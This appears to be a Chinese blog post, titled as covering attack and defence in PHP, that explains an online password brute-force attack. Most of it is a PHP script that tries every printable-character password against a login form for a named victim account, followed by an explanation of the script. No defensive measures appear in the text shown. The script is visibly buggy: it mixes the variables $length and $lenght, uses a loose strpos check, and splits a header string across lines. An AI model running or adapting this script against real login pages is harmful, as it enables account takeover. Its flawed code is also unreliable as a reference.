php脚本的“攻”与“防”

攻击者可能会使用一个通用的脚本或针对想入侵的网站写一段特定的脚本,无乱哪种情况,这样的

脚本通常会执行一个HTTP请求,试图登录Web应用程序,然后他们将检查这个响应是否有成功登录的迹象。当攻击者的登录失败,web应用程序通常以表明结果的信息重新显示登录表单。以下是登录失败时可能生成的标记示例。

<p class="error">Invalid username or password.</p>

<form method="post" action="http://example.com/login.php">

<p>Username:<input type="text" name="username" /></p>

<p>Password:<input type="text" name="password" /></p>

<p><input type="submit" value="Log In" /></p>

</form>

对这个表单我们可以使用类似的脚本执行一个暴力破解攻击

<?

$url='http://example.com/login.php';

$post_data=array('username'=>'victims_username');

$length=0;

$password=array();

$chr=array_combine(range(32,126),array_map('chr',range(32,126)));

$ord=array_flip($chr);

$first=reset($chr);

$last=end($chr);

while(true)

{

$lenght++;

$end=$lenght-1;

$password=array_fill(0,$length,$first);

$stop=array_fill(0,$lenght,$last);

while($password!=$stop){

foreach($chr as $string){

$password[$end]=$string;

$post_data['password']=implode('',$password);

$context=stream_context_create(array('http'=>array(

'method'=>'POST',

'follow_location'=>false,

'header'=>'Content-Type: application

/x-www-form-urlencoded',

'content'=>http_build_query($post_data)

)));

$response=file_get_contents($url,false,$context);

if(strpos($response,'Invalid username or password')

==false){

echo 'Password found: '.$post_data['password'], PHP_EOL;

exit;

}

}

for($left=$end-1;isset($password[$left])&&$password

[$left]==$last;$left--);

if(isset($password[$left])&&$password[$left]!=$last){

$password[$left]=$chr[$ord[$password[$left]]+1];

for($index=$left+1;$index<=$lenght;$index++){

$password[$index]=$first;

}

}

}

}

?>

该脚本依次生成由我们常用的打印字符串组成的密码,这些字符可用键盘输入。它以长度为1的

密码作为开始,但我们也可简单修改变量$length的初始值,以较长的长度作为开始。一旦脚本生成所有可能的给定长度的密码,它将增加长度并用一个新的长度重新开始密码生成过程。

通过使用PHP流,该脚本对表单使用的URL执行POST请求,并包含了它提交的用户名和表单数据中

生成的密码。随后脚本检查响应主体中表示登录失败的子字符串。如果没有找到这个字符串,脚本便假定这个密码是正确的,然后输出密码并终止脚步。我们需要则HTTP请求逻辑中行进更广泛的错误检查,但这里显示的代码对于这个示例已足够。

php脚本的“攻”与“防”

图解

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin
avatar

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: